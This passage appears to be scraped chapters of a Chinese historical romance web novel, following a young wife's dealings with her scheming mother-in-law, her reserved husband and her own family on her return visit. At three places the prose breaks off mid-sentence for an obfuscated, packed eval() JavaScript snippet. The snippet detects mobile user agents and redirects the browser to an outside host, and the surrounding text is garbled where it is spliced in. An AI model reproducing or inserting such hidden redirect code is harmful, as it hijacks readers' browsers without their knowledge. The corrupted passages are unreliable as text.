姚戚香开口:“二弟误会了,我哪里敢插手二弟外面的事,二弟看着便文采斐然,气质不俗,姚家哪里能左右二弟的锦绣前程,所谓打点也不过是锦上添花罢了。” 孟元德抿了下唇,眼神奇怪的看着姚戚香,他这嫂嫂,刚是在夸他? 他看着就文采斐然?他气质有这么好吗? 孟元德抿了抿嘴角,故作大方道:“哎算了算了,看你也是小门小户出身,听你说话就知道外面的事你什么都不懂,就别站出来贻笑大方了。” 姚戚香:“是,那我就等着二弟今年高中状元了。” “今年?你开什么玩笑。”孟元德哼哼一声,“我今年又不考,再说了,就算考也才是乡试,怎么就状元了,说你不懂你还真是一无所知。” 闻言,姚戚香看向常氏。 乡试!? 连乡试都未过,常氏居然让她撺掇姚振廷去问殿试的内容?有病? 常秋兰神色不改,道:“话既然说到这个份上了,我今日到底是什么意思,你也该明白了吧?” 姚戚香这下是真不明白了,她摇了摇头:“请婆母明示。” “你回门那日,我会让人给你备足了银两,便是到时候周旋了花销了。”她看向孟元德,“元德毕竟还年轻,这时候学也定不下心来,不如先做两年官历练历练,这对你姚家总不能是什么难事吧?” “……”姚戚香有些想笑,她明白了,她这下完全明白了。 中午常氏提起此事,不过是想探探她的口风,看她愿不愿意跟姚家开这个口,得到了她确定的答案,常氏才将真实需求搬了出来——她要给儿子买个官。 买官的事,姚戚香确实不懂,但她也明白这不是什么光彩事,敢情常氏是想让姚家去替她儿子办这不光彩之事,自己坐享渔利。 “哦,儿媳明白了。”姚戚香笑了,“意思是二弟现今尚一事无成,连基本念书的功夫也没捡起来,想要花钱买个官做,是这样吧?” 孟元德睁大眼睛,他这嫂嫂说什么呢!!! “你!”常秋兰拍了下桌子,这姚家女怎么这般蠢笨多话,居然将这样的话放到明面上来说! 她铁青着脸正要发作,却有一小厮已经站在厅外。 “主母,长公子寻娘子回去,说是有事要问她。” 及时雨,真是及时雨啊。 姚戚香心中冷笑着起了身,飞快对着常氏一礼:“那儿媳先告退了。” 11. 第11章 回松风堂的路上,姚戚香一直在想——孟扶危的人来得真及时啊。 怎么今日,每次她被常氏叫走一会儿,孟扶危便立刻派人来找她了?他是真的怕她与常氏密谋些什么? 夜色已深,松风堂的路径上摆着一盏盏竹灯,能清晰照亮脚下的路。 姚戚香走进房中,在几案边看见了坐着的孟扶危。 他应是刚沐浴过,尚未干透的乌发散在身后,褪去了白日里那件冷色的青衫,只着里衣坐着,屋内的灯光刚好能照亮整间屋子,又不过于晃眼,一个个光晕染在他身上,看上去竟分外柔和。 而他英挺俊朗的容颜也浸在这一弯暖色中,好像失了冷淡疏离,有了一些平易近人的味道。 此时此刻,姚戚香才突然有了几分真实的感觉,她与这个陌生的男人结为了夫妻。虽然不知道以后会如何,不过她已经放言今后随孟扶危心意和离,想来他为了搪塞常氏这个继母,也不会真和她过一辈子。 姚戚香走了进去,她总觉得对孟扶危的称呼很成问题,叫夫君吧,好像显得她有些太热切了,总叫名字吧,叫别人听了去也不大好。 “……你找我?”姚戚香说话间还同时扫了眼桌子,桌上空空如也,只有一个木头盒子。 看来今晚不是叫她回来吃饭的。 “嗯,坐吧。”孟扶危伸出白玉般骨节分明的手,将那盒子往姚戚香面前推了推,“尝尝。” 尝? 姚戚香打开木盒,一股肉香扑面而来,她这才看清楚,里面放着的是一只用油纸包好的烧鸡。 ……闻起来就很香,她在云栖堂本来就没吃多少,这下立时便食指大动了。 可要她在一个陌生男人面前吃烧鸡……姚戚香还是有点放不开,这儿也没个工具什么的,真要她用手抓? 姚戚香左顾右盼,正想找找附近有没有什么能用的工具,便见孟扶危慢条斯理,从袖中拿出一把带着刀鞘的短刀出来。 他十分熟稔地化开烧鸡,从上面剜下一块来递到姚戚香面前,还不忘说一声:“刀是干净的。” 姚戚香缓慢接过,心中有些不可思议,忍不住想,她是不是对孟扶危太设防了? 不过长年累月多疑的性格,还是让姚戚香没有那么快放松下来,她总觉得孟扶危说不定就是在用这种手段笼络她,好让她不为常氏办事。 可另一方面,她又觉得孟扶危很不必这么大费周章,他一开始咬定不娶她不就行了?他可已经位至三司,任太子太傅了,推一桩不满意的婚事还不容易? 烤鸡很酥香,而且还是热的,表面撒上了胡椒粉,滋味十分不错。 姚戚香不知不觉吃了好多块,直到觉得有些腻了才挥了挥手示意不要了。 而孟扶危也什么都没说,擦拭了短刀后便让人撤下去了。 两人相对,终是尴尬,姚戚香有些不适应这样的尴尬,便先提出:“我先去沐浴。” 后面的院子一直备着热水,姚戚香泡在热水中,满心都觉得奇怪。 她甚少与外界接触,身边更是没什么朋友,别家女儿或许有情窦初开的时候,可她至今见过的人也就寥寥几个,没有体会过那种滋味。 她根本无人可问,是不是两个人一旦成了夫妻,不论之前有多么陌生疏离,便瞬间能如夫妻一般过活起来。 从姚家带回来的月华与晨露都不是她的心腹,她还要防着这二人叛变,将孟家的事抖落给邓穗音,她更不可能同她们说这些。 她就是觉得,这孟扶危也有点太自来熟了……他们之间又没见过,也不是那种顺理成章说成的婚事,她是被常氏娶回来气孟扶危的,这一点她相信孟扶危不可能不清楚。 从一开始,姚戚香就想过种种她会在孟家遭受的冷遇,甚至做好了准备,可孟扶危这样子一点也不像是要冷着她的样子…… 他们还没有圆房呢…… 姚戚香突然在水中坐了起来,今夜,孟扶危看着就是一副要留宿在此的样子,他不会要跟她圆房吧!? 姚戚香脑中一片空白。 她混沌了一瞬,想着今后哪怕是和离了,也不会有人信她与孟扶危什么都没干过,如是想着,她又释怀了,慢慢在浴桶中躺了下来。 行吧,反正这档子事,她来前也是做了准备的,只是怀了一丝庆幸,万一孟扶危真不行,她倒也少了一番伺候。 姚戚香忍不住许愿,但愿孟扶危是真的不行,今夜留宿也只是留宿而已。 一炷香时间过后,姚戚香从浴桶中走出,她擦干身子,换上了寝衣往卧房走去。 卧房已熄了一大半的灯,只在床榻附近还落着几盏,刚好能看清脚下的路。 姚戚香一边擦着湿发,一边望向已自主坐在了床上的孟扶危。 他不知何时将腰带松散了几分,一副随时准备就寝的样子,只这样,他的胸膛便隐约显露出来,姚戚香忍不住飞快瞧了一眼,不是印象中那文臣清弱的模样,反而…… 像是操练过的。 姚戚香低低垂眸,眼下她也没别的路可走,只能坐在了孟扶危身侧,她浅浅呼吸着,却很快鼻息间全是孟扶危身上那股清雅的兰香,像是有双手似的朝她缠绕过来。 忽然,孟扶危动了动,他侧过了身…… “白日!”姚戚香下意识出声打断了他下一步动作,她脑子里什么也没想,几乎是条件反射,抬眸时对上孟扶危那双黑沉沉的眼,她才觉得有些心虚尴尬。 ……白日什么?快想啊! “白日……”姚戚香有些气弱,“你……都做些什么?” 孟扶危沉默了一瞬,开口:“早晨是去上朝,上午我在东宫,下午多在户部,有时也会在家。” 姚戚香没料到他会答得如此详细。 还没想到下一句要说什么,掌心就多了个冰凉触感,她垂头一眼才瞧见那是一块腰牌,冰冰凉凉的,上面还篆着些复杂的图样。 “这是我的信物,你若有事找我,凭它可入东宫六部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429576|169173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 姚戚香微微睁大双眼,别的倒是不打紧,能入东宫的应该算是顶重要的东西吧? 她推了推,道:“这东西我用不上。” 孟扶危却没有接:“拿着吧,有了它,出入孟府也不必报备。” 姚戚香只好收了起来,她在里面瞥见了她的枕头,于是顺势翻身进了床内侧,将那块腰牌压在了枕头底下。 放好了腰牌,姚戚香顺势躺了下来,她心想,孟扶危见她睡了,应该不会折腾了吧?是吧? 可这个想法刚落下来,她就感觉身后的人动了动,然后朝着她这边靠了过来。 姚戚香暗暗捏紧了手,抿紧唇想——万一孟扶危没有隐疾,他会不会真找她……眼下她表现得已经算有些抗拒了,昨夜还对他说了那样的话,他还有兴致? 孟扶危在外面,总不能没有女人吧?他虽名声极好,但怎么也是男子,虽然她进这院里来也没见个通房什么的,但说不定在外面还是有人的。 他都多大了。 邓穗音那蠢儿子都有两个通房呢。 就在察觉孟扶危靠过来的空挡里,姚戚香深吸气了好几次,她知晓这件事自己没法拒绝,她闭着眼睛,脑海里却不觉浮现出她刚才走进屋里那一幕。 她仿佛能够感觉到,孟扶危起伏有秩的胸膛在朝她靠过来。 一只手,搭在了她后腰,姚戚香忍不住屏住呼吸,可下一秒,孟扶危只是将被子往她身上拉了拉,而后便跟着躺在了她身后,再无任何动作了。 姚戚香哽住,她心头突然因此漾起一抹微妙来,这许多年里,从没有人在意过她的想法,从没有人尊重过她的意愿。 她很清楚,刚刚孟扶危是知道的。 他知道,她不愿意。 姚戚香抿着嘴,努力闭上眼睛,她忍不住想,昨夜也好,今夜也好,外人只知道孟扶危留在她房中,她虽不在意外面人的说道,可孟扶危这样实在免去了她很多麻烦。 这一层,她想孟扶危定然也知道,他定然也是有意这样做的。 他并没有……她想象中的那么冷漠,那么不近人情,他或许只是习惯了沉默,就像她在姚家,也习惯了沉默,习惯了自己和自己说话。 “明日我不在。” 身后传来他的声音,略有些沉闷的,只是依旧悦耳。 “若有事,去书房找云韬。” “嗯,我知道了。”姚戚香道,“那明日我能出门吗?” “可以。叫云韬和茗玉跟你一起。”孟扶危顿了顿,又道,“茗玉是松风堂的,你以后不论有什么,都可以问她。” “好。” 姚戚香一边应着,一边想着明日出门后的打算,一来,她想在京中随意转转,打听一下最近究竟有没有哪家办宴的。 二来,她在孟家做什么总是不便宜,她如今拿到了娘的嫁妆,又有一些陪嫁,或许可以买两个自己的仆人回来。 这件事要尽早办妥,拖得越晚越不好弄。 12.第12章 第二天中午,姚戚香就带着月华和茗玉出门了,云韬套了马车来,在松风堂这边的偏门处等她。 走路上时,月华一个劲地笑,脸上喜滋滋的。 “怎么了?”姚戚香问。 月华道:“姑娘嫁过来之前,奴婢也不知道,姑爷会对您这么满意。” 姚戚香疑惑地挑了下眉,从哪里看出来满意的? 月华接着道:“不论是昨日还是今日,姑爷起得早,出门也早,都会让奴婢们不要进去打扰呢。” 姚戚香心想,这倒是,按照寻常那套说法,妻子为将要出门的丈夫整理仪容是分内之职。 不过这也是因为她跟孟扶危说,别指望她贤良淑德,孟扶危才不这样的吧? 他这个人其实也算不错,话说开了,也没有刻意为难她。 “先去布行吧,我要买些东西。”姚戚香对外面的云韬道。 她能穿的衣裳实在不多,撑个一段时间还可,日子久了就不成了,多做几件换洗的衣裳到时候也方便。 挑好料子,量了尺寸后,姚戚香便让云韬将车赶到人市。 这个时间还早,人市这边还没开摊,只有零零星星的几个,姚戚香就坐在马车里看,发现这个时候多是些男仆,就算是有女人,也是一些年纪大些,面黄肌瘦的,恐怕真正好的只会等人多了再带出来。 不过无妨,姚戚香今日出来也只是先看看,心中有个底,奴仆这事虽然急,但也不能盲目买下来带回去,她是想留作心腹用的。 “娘子是想买奴仆吗?”身侧茗玉问出声。 姚戚香回头看了她一眼,笑道:“是啊,月华和晨露是我带过来的,你又到了我这里来服侍,我想着正好再买一个回去,凑个整。” 茗玉点了点头,没再多话,反是道:“娘子,人市上的奴仆多半出自贱籍,很多都是从前在主人家犯了错,被打回来的,盛京的良家婢子皆被几个势大的牙侩垄断了,娘子若想选好的,就要亲从他们手中去挑。” 这么麻烦?姚戚香微微蹙眉,她问:“你可能与这些牙侩联系上?” “可以。”茗玉点头,“不过今日见不着人,要同他们谈生意,要提前约了人再去谈,最快也要明日了,娘子若是着急,可以将此事告诉公子,恐怕不出半日,他们就会将最好的仆婢送到娘子面前任您挑选了。” “这……这就不必了。”姚戚香不想麻烦孟扶危,而且她本来也只是想要个专心服侍自己的人,这要是在孟扶危那边又过了一遍,到手不还是孟扶危的人? “他忙。”姚戚香假惺惺地笑了笑,“那就先将人约着吧,我后面再去看。” 明日回门,恐怕没有时间。 “是。”茗玉应了。 离开人市后,姚戚香又采买了些东西,已是半日过去,该到了吃饭的时候,姚戚香从前甚少出门,便问茗玉:“哪家酒楼的饭菜好?” 还不等茗玉回答,车外就传来一声:“这话娘子得问我,茗玉可不懂这些。” 云韬:“说到吃,四君子的茶和果子最好吃,千味楼的羊肉炙一绝,悦庭的酒好,鱼肉也好,肘子也好,若娘子想吃得清淡些,可以去香云楼,里面都是些汤饼粥饭,也是出了名的!” 姚戚香“哦”了一声,随意道:“那就去一个人多的吧。” 她本来就是想听听京城近日的消息,又不是真来消遣了。 一刻钟后,马车停在了千味楼,姚戚香要了个二楼的雅间,让小二随意上了些特色菜,有一搭没一搭听着楼下客人的聊天。 她没有想到,这都已经是她成婚后的第二日了,京城居然还在说她与孟扶危。 不,或许重要的并不是她,而是孟扶危。 “姚家女攀了高枝,赵家小姐要哭死了吧?” “你没听说?我却是听说了,赵家小姐悲伤过度,昨日险些自缢于房中,幸亏被发现得早,否则真是要出事了!” 赵家? 姚戚香微微蹙眉,她似乎……还在哪里听说过这个赵家。 少顷,姚戚香想起来了,她听姚成碧说起过,说有个赵家姐姐,倾慕孟扶危。 哪个赵家? 只可惜,那两人并未对这赵家小姐的身份做出说明。不一会儿,一阵诱人的香气扑鼻,姚戚香回头看见是小二端着羊肉炙上来了,胡椒的香味与葱香交织,入口辛辣爽利,姚戚香不由多夹了几筷子。 味道真的不错,她都想再打包份回去了。 想到此处,姚戚香问云韬:“孟扶危……今晚会回府用饭吗?” 她总得找个名头才能带,不然显得太贪吃了。 云韬:“娘子,公子今晚要先去仙月坊,说不回府里吃了。” 他说这句话的同时,茗玉侧过脸来瞥了他一眼,虽然这动作十分细微,可还是被姚戚香看到了。 “仙月坊?”姚戚香猜想,“是烟花之地了?” “是,公子有事要办。”云韬答。 ……那自然是要去办事的。 只是这云韬的表情也太过坦然了,竟然就这样说出来了,看来孟扶危还真是私底下跟他们交代过,不必把她这个正房夫人当回事。 也罢,那这羊肉炙她也要带。 吃饱喝足,打道回府。 姚戚香带了份羊肉炙,带了份花生酪,晚上的日子还长,她若无事还可以热来吃吃。 他们一行人出去的时候是从偏门,回来也还是偏门,姚戚香先让人烧了热水去沐浴,等她沐洗完毕,正坐在房中擦洗着头发时,便听见门外响起月华的声音:“……姑娘,云栖堂来了人,说是主母找您过去……” 听她话音有些犹豫,姚戚香推开了房门,问:“你怎么了?吞吞吐吐的。” 月华:“主母找您……多半是因为今日找奴婢的事。” 不等姚戚香问,她就立马跪了下来,道:“奴婢多嘴,回来的时候,忍不住将今日的事与晨露说了。” 此时此刻晨露就在角落站着,姚戚香抬眸瞥向她,见晨露也一下子跪了下来。 “姑娘饶命!打姑娘进门那一日,孟家主母便让奴婢……时时汇报姑娘的行径,不得贻误,否则就要将奴婢卖了……”晨露的声线都在颤抖,她在姚家,是领教过姚戚香的厉害的。 可她怕姚戚香,更怕常秋兰,只因那常氏威胁她说要将她卖去的不是别处,而是青楼! 姚戚香思忖一瞬,什么也没说回屋去换衣服了。 她从未指望过月华和晨露这两个丫头会对她忠心,现在有了这样一件事也是好的,否则今后她亲近了自己挑中的人,难保这两人不会生出怨怼来。 有了今日的事,若她以后想送她们走,也有由头了。 只是……偏偏在当下,常氏一定会横插一脚,她要买仆婢的事恐怕不会如此顺利了。 换了衣服,姚戚香带着茗玉前往云栖堂。 常秋兰便在正厅坐着,就是那日她敬茶的地方,她坐得端端正正,脸色也不大好看。 姚戚香只当什么也没看见,规矩行了礼道:“婆母。” 常秋兰哼笑了一声,她一双眼睛盯在姚戚香身上,道:“你倒是好心机,这便想着在孟家的院子里培植自己的人了?” 姚戚香抬眸:“婆母这说的是哪里的话?” “还在装傻?”常秋兰道,“你院里那个女使,不是已经同你说过了吗?” 姚戚香站直了身子,开口:“若是这事,儿媳可没有做错。” “你说什么?”常秋兰皱眉。 “婆母明知,儿媳在姚家没什么人缘,一并过来的两个陪嫁丫头也都是我那继母亲自挑选的,试问婆母,这样的人留在您的身边,您难道放心得下吗?”姚戚香停顿了一瞬,又道,“现在看晨露如此,儿媳便知自己的猜疑是对的。” “好啊。”常秋兰道,“你既然不放心你继母为你选的人,总该放心我为你选的,冬梅、腊月,出来见见你们的新主子。” 姚戚香不及拒绝,就见一左一右两个女使从后面的屋中走出,年纪看着比月华和晨露都大。 “婆母。”姚戚香忙道,“儿媳幼时曾遇见过一个算命先生,说冬日与儿媳犯冲,让儿媳冬日里最好不要出门,她们两人怕是……” “你不必再费心思。”常秋兰道,“这两个人必须去你院里,绝无商量的余地。” “婆母说什么呢。”姚戚香笑道,“她们自然是要去我院里的,只不过这名字实在不妙,儿媳可能做主给她们改名?” 常氏微愣,她看着姚戚香不似作假的笑脸,眯着眼点了点头:“不过是名字,随你顺口。” “好,那儿媳多谢婆母。”姚戚香领着两人,欢欢喜喜从云栖堂退下了。 道理,还是那个道理,与其让常氏偷偷塞人进来,不如从一开始就立了两块活靶子,至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431347|169173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少她明确知晓,这两人都不堪大用就够了。 “婆母也真是好心肠,白白将你们送给了我,日后我在府中有什么不懂的,还需你们二人提点才是。” 回去的路上,姚戚香如是说。 两个丫头对视了一眼,回:“娘子放心吧,奴婢等定尽心伺候。” “好。”姚戚香突然转身,直视着她们二人,“不过你们也听到了,我不喜欢你们两个的名字,婆母也同意让我改了,想必你们也没有什么意见吧?” 那二人道:“随娘子心愿便是。” 姚戚香看了看天气,道:“我不喜冬日,春日却好,你们两个又是春日里来跟着我的,不如……你们便一个叫春竹,一个叫春绿吧。” 她笑:“喜欢哪个,你们自己捡。” 姚戚香说完转身便走,身边的茗玉忍不住勾了勾嘴角。 后面那两个丫头一时没有反应过来,其中一人嘴快,道:“奴婢春竹谢娘子赐名……” “奴婢春绿……” 两人又对视一眼,突然反应了过来,望着姚戚香远去的背影,气得跺了跺脚。 这是什么鬼名字! 白日里姚戚香逛得累了,回到松风堂后便先睡下了。 茗玉一边吹了房里的灯,一边问她白日里给公子带的羊肉炙要不要这会儿送到书房去。 “他回来了?”姚戚香问。 “是,奴婢方才瞧见天禄了,既然他回来,公子也一定是回来了的。” “那就给他送去吧。”姚戚香道,反正她现在也不想吃了,只想闭上眼睛睡一觉。 茗玉得了话就关上门出去了,正好云韬往这边过来,她便叫住云韬道:“你去把白日里娘子带来的羊肉炙热热,给公子送去。” 云韬欲言又止,转眼看到茗玉身后熄了灯的屋子,又把话咽了下去,应了一声往小厨房走。 书房内,孟扶危刚换了衣服,命人备了水准备沐洗,云韬便是在这个时候进来的。 他手上捧着一个食盒,道:“公子,今日娘子出去专门给您带了羊肉炙回来,您要不要先尝尝?刚热好的。” 孟扶危放下了随手翻开的书,道:“放下吧。” 食盒打开,羊肉炙的香味一下子散开,纵然是翻热过的,但是并没有对它的滋味产生多少影响,看上去依旧色泽诱人。 孟扶危坐了下来,拾起了筷子,他问:“今日出去,她做了些什么?” “也没什么,就是买了些新料子,买了些平日用的钗环首饰,梳子用品之类的,后面还去了趟人市,娘子是想买个人回来,茗玉说那边的人不干净,将娘子劝下了。” “公子。”云韬忽然郑重,“云栖堂送了两个女使过来,就是从前的冬梅和腊月,叫娘子改了名,留在院里了。” “知道了,你平日多盯着她们,这两个人,她用得上。”孟扶危一连夹了好几块羊肉炙,才慢慢将筷子放下了。 云韬忍不住抬眸看了孟扶危一眼,不知道为什么,今夜的公子似乎很是随和,说话的语气……虽然差别不大,可云韬还是明显感觉出,公子情绪不错。 “公子,是不是查的事有眉目了?”云韬忍不住问,“我明日还留在府里守着娘子吗?” “明日我陪她回门,你说呢?”孟扶危道,“快了,我去仙月坊的事,你怎么说的?” “我跟娘子解释清楚了,您去仙月坊是去办事的!”云韬露出胸有成竹的样子,“娘子听了果然没有生气什么的。” “嗯。”孟扶危应了,对着云韬挥挥手,让他下去。 云韬转过身,刚走了两步又被叫住了。 “回来。”孟扶危起身,墙上的影子如山般罩了下来,“你怎么解释的?” 云韬愣了愣,道:“就说您去办事了呀!” “……然后呢?” “然后?”云韬哽了一下,“没了……我就说您是去办事的,娘子一句话也没多问……” 话还没说完,云韬直觉不妙,他抬眼对上孟扶危的眸子,本能地打了个寒颤。 “公子!我……” “出去跪着。”孟扶危双眸黑冷,一句话让云韬后背的汗都冒了出来,他哪里还敢再多说一句,连忙出了屋子,直挺挺跪在了院中。 暗处的天禄看着这一幕,摇了摇头,云韬这混小子,恐怕连主子叫他给娘子交代行程的用意是什么都没想清楚呢。 13.第13章 这一晚姚戚香睡得极好,她发现自己自从离了姚家,连觉都安稳了很多。 起身之后,姚戚香问茗玉:“昨日我一个人睡的?” 茗玉一边替她梳头,一边道:“是,公子昨夜过来了,见屋里灯都熄了,才又回去了,怕吵着您睡觉。” 姚戚香心想,那倒是她的不是了,今日还要让孟扶危同她一起回门呢,她是不是应该主动去找他一回? 天气不好,一大清早便淅淅沥沥地下着小雨,下个不停,看着仿佛没有尽头。 姚戚香最讨厌这样的天气,可一想到今日是要回姚家去,那这样的天气似乎也很相宜了。 “娘子。”云韬的声音在外响起,“公子问您着急吗?若不急着回门,就先在这边用了早饭再走。” 孟府坐落盛京最繁华富庶之地,与姚家隔着数条街数道弯,走过去约莫要一个时辰,这一点,姚戚香嫁过来那日已经深切领略过了。 “不急。”姚戚香回着话便出了门。 天色青深,雾蒙蒙的没有太阳,姚戚香今日穿的是件浅色的绿衫,这绿衫腰间略收,更能衬出女子窈窕的身段来,茗玉给她梳的是妇人发髻,精致规整,匹配上这令人眼前一亮的新绿,有种别样的轻快明朗。 她的长相随了她的母亲,脸型略带着丝圆润,乍一眼看上去会令人觉得温顺柔和,加上她长相偏向乖巧甜美,儿时便是长辈们最喜欢的那种孩子。 即便后来女大十八变,还是脱不离这样的影子,所以总给人留下单纯的印象。 “娘子这身衣裳真是独特。”茗玉忍不住夸赞,“奴婢甚少见到这样好看的颜色!” 姚戚香笑了笑,而今京中奢靡之气鼎盛,人人都喜浓墨重彩,这样清淡的颜色自然不多见。 这颜色是十几年前在江南流行的式样。 是仿着她母亲的故衣做的。 姚戚香过去的时候,孟扶危便站在檐下,长身玉立,若非姚戚香很有自知之明,怕是会觉得孟扶危是在等她。 在看清孟扶危今日的穿着后,姚戚香怔了怔——孟扶危今日所穿的长衫,颜色与她身上这件十分相近,若非衣服上的纹样不同,简直就像是同一匹料子做出的。 姚戚香忍不住多看了两眼才确认,孟扶危的这件是旧衣,并不是新做的。 这也太巧了,她有些尴尬,她可不是有意要和他穿成一样的颜色的。 连茗玉都有些惊讶,不过她很好地掩饰住了自己的情绪,丝毫不曾外泄。 “用饭吧。”孟扶危朝她看来,“云韬从外面买回来的包子,尝尝喜不喜欢。” 姚戚香进了屋内,看见桌上那两笼还冒着热气的雪白的包子,这下连她也要忍不住赞叹,自从来了孟家,她的伙食质量可真是突飞猛进。 入了座,姚戚香开始慢条斯理享用早餐,她很久都没有吃过包子了,以前觉得这东西也不过如此,可眼下的包子皮薄馅大,鲜嫩多汁,滋味当真不错。 她吃得如此之慢,孟扶危居然也不着急,她悄悄看了他一眼,孟扶危已然吃好了,正侧着身子饮用来漱口的茶。 姚戚香想,他平日想必是很忙的,今日为着回门陪她走一趟,应该是要告假的吧? 似乎是感觉到了她的目光,孟扶危开口:“昨日云栖堂送来的两个人,你若用不惯,就送回去,不必顾忌什么。” “不用不用。”姚戚香道,“她二人看着还不错,而且我已经给她们改了名了,留下也没什么不好。” 孟扶危闻言点了点头,也并未多话。他素来便是如此,一句多余的话也不说,总是让姚戚香觉得自己主动找他攀谈这一举动,也显得很多余。 吃完饭已经是日上三竿了,云栖堂那边送了些礼来让她带回去,没想到孟扶危也备了好些礼,沉甸甸得装了几大箱子。 回门的路上坐的是孟扶危的马上,比姚戚香昨日出门用的要更大更宽敞,而且里面的坐垫柔软又舒适,一个时辰的路,姚戚香走得昏昏欲睡。 她本来就没有多期待回门这件事,靠在软垫上晃来晃去,昏昏沉沉,不知过了多久,才听见一句低沉的:“到了。” 等姚戚香睁开眼,只看见孟扶危已然起身下了马车,她也紧随其后。 即便姚家对她这个女儿素来不重视,可他们绝对无法轻慢了孟家,尤其是孟扶危。 姚戚香扒着车身出来的时候,就见姚振廷与邓穗音一双人就站在门口,脸上挂满了笑迎他们,一同来的还有姚成碧,以及邓氏的好儿子姚太初。 姚戚香出了马车,正打算就着茗玉的手下去,没想到孟扶危转过身来扶她了,他对姚家的人很冷淡,即便是姚振廷已经露出了一个笑正要上前问候他了,孟扶危也当是视而不见,转身将手给她递了过来。 姚戚香将手搭上孟扶危缓缓下了马车,她有些稀奇,不知道为什么,她总觉得孟扶危好像很不喜欢姚家。 这种不喜,不是冷淡疏离,而是带着一层鲜明的情绪——厌恶。 姚戚香意外,因为她从前从未感受到孟扶危对自己的厌恶,他虽冷淡,但对她这样一个盲婚哑嫁来的妻子,尤其还是继母亲自挑选来的妻子,算很不错了。 他在下人们面前给足了她体面,他照顾她的吃食,也适当照顾着她的情绪想法,陌生夫妻做成这样,姚戚香已经很满足了。 可孟扶危却厌恶姚家,这是为什么? 姚戚香慢慢将视线从姚振廷身上滑过,落到了邓穗音身上,在看到邓穗音明显睁大的眼睛和皱起的眉头时,姚戚香笑了。 她笑出声,几步走上前,状似亲热地对邓穗音唤了一声:“母亲,我回来了。” 她身上的衣服,是她的生母生前最爱穿的一件,她就知道,姚振廷对这件衣服的反应不大,因为他不记得,可邓穗音不会不记得的。 在那些年里,邓穗音是如何用炽热的眼光盯着她的母亲叶蓉,盯着她身下这个姚家主母的位子。 邓穗音甚至比姚振廷还要在意她的母亲。 一只冰凉的手猛地攥住邓穗音的手腕,她浑身一颤,垂头便迎上姚戚香那双漆黑不见底的眼睛,邓穗音寒毛直竖。 她仿佛再次看到了叶氏…… “香、香儿……”邓穗音嘴角扯出一个僵硬的笑,“我、我和你父亲,都盼着你回来呢。” 姚戚香笑着,没有回应邓穗音这句话,而是转身招了招手,让一直跟在马车后面的两个人近前来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15434732|169173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 邓穗音看了过去,是月华和晨露。 “这两个丫头,本是我的陪嫁,不过我那婆母嫌弃她们不伶俐,便好心又给我配了两个伺候的女使,我那院子本来也没有多大,再留着她们两个就显得拥挤,她们是母亲的人,母亲便留下吧。”姚戚香道。 邓穗音一滞,这姚戚香当着所有人的面这样说了,她哪里还有拒绝的余地?只能尴尬地笑笑:“说得是……她们到底是够不上孟府的女使的。” 如此一来,月华和晨露便被送回了姚家,两个丫头面色一个比一个惨白,她们差事办成这样,回来后少不得被主母教训一顿,便是留下,也只能做些下等活了。 月华无比后悔,昨日究竟为什么要多那一句嘴,悔得她只想抽自己的嘴巴子。 什么仆婢不仆婢的事,窝的只有邓氏的心,姚振廷才不在意这个,他大手一挥朝着门内,一双殷切的眼睛黏在孟扶危身上都要下不来了,一个劲地说:“请,快里面请吧。” “姐、姐夫。”姚太初被邓氏推着,出来唤了一句。 姚成碧纵然满脸的不情愿,还是唤了声:“姐夫好。” 这两人眼里完全没她的存在,姚戚香笑:“瞧着我竟是姚家的外人,我夫君才是姚家的亲人呢!” 她说完就抬脚进去了,弄得邓氏一脸尴尬。 这个时间,还要过一会儿才开饭,姚府不大,却有个漂亮的小花园,姚振廷称要带姑爷去花园散心,让她们女眷去姚戚香的院子里说话。 姚戚香闻言有些奇怪,姚振廷将孟扶危带去后花园,又让她回自己的院子去,为何不让她们去正厅?孟扶危对姚振廷来说那可是贵客,绝没有存心怠慢的道理。 这里面究竟有什么名堂? 姚戚香看了眼与她一同走着的邓氏与姚成碧,悄悄放慢了步子,与茗玉耳语了几句。她虽不全然信任茗玉,但至少茗玉对孟扶危是真心的。 出嫁前,姚戚香在堂中闹的那一场,等同与邓穗音直接撕破了脸,眼下她也没什么好装体面的,进了自己屋里便坐下歇着了。 邓氏与姚成碧后脚进来,见她已经坐下,邓氏的脸色便有些不好,但好歹是没说什么,硬是挤出一张笑脸道:“乖女儿,在孟家这几日过得可好?” “好啊,太好了。”姚戚香说,“这孟家跟姚家比可真是一个天上一个地下,母亲,您快为二妹打算打算,将她也塞进孟家来吧!” “你说什么呢!”姚成碧不满,“你当谁都稀罕上你了!” “没有吗?”姚戚香道,“我看母亲连之前宋家的婚事都要从我这里抢去给你,还以为她对我嫁去孟家很是眼红呢。” 